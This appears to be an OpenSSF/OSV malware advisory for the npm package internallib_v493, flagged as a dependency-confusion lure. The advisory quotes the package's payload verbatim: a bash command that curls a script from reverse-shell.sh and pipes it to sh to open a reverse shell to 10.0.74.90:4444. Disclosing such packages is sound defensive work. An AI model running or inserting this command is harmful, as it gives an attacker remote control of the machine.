OpenSSF/OSV advisory MAL-2026-4585 confirms this npm version as malicious. The package's sole exported function `command()` in index.js executes `/bin/bash -c "curl https://reverse-shell.sh/10.0.74.90:4444|sh"`, fetching a reverse-shell script from reverse-shell.sh and piping it directly to `sh` to establish a connection back to 10.0.74.90 on port 4444. The package has no other functionality — its only advertised export is the backdoor...
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OpenSSF Malicious Packages via OSV
Summary
Malicious code in internallib_v493 (npm)
Details
The package's sole exported function `command()` in index.js executes `/bin/bash -c "curl https://reverse-shell.sh/10.0.74.90:4444|sh"`, fetching a reverse-shell script from reverse-shell.sh and piping it directly to `sh` to establish a connection back to 10.0.74.90 on port 4444. The package has no other functionality — its only advertised export is the backdoor. The package name (`internallib_v493`) and placeholder metadata (empty author, generic description) are consistent with a dependency-confusion / internal-name-squatting lure targeting organizations with private packages of similar names. A typo in the source (`reuquire` instead of `require`) means the payload throws on load in its current form, but the malicious intent is unambiguous and a corrected republish would fire immediately on any caller invoking the export.
Decision reason
OpenSSF Malicious Packages via OSV confirms internallib_v493@1.0.4 as malicious (MAL-2026-4585): Malicious code in internallib_v493 (npm)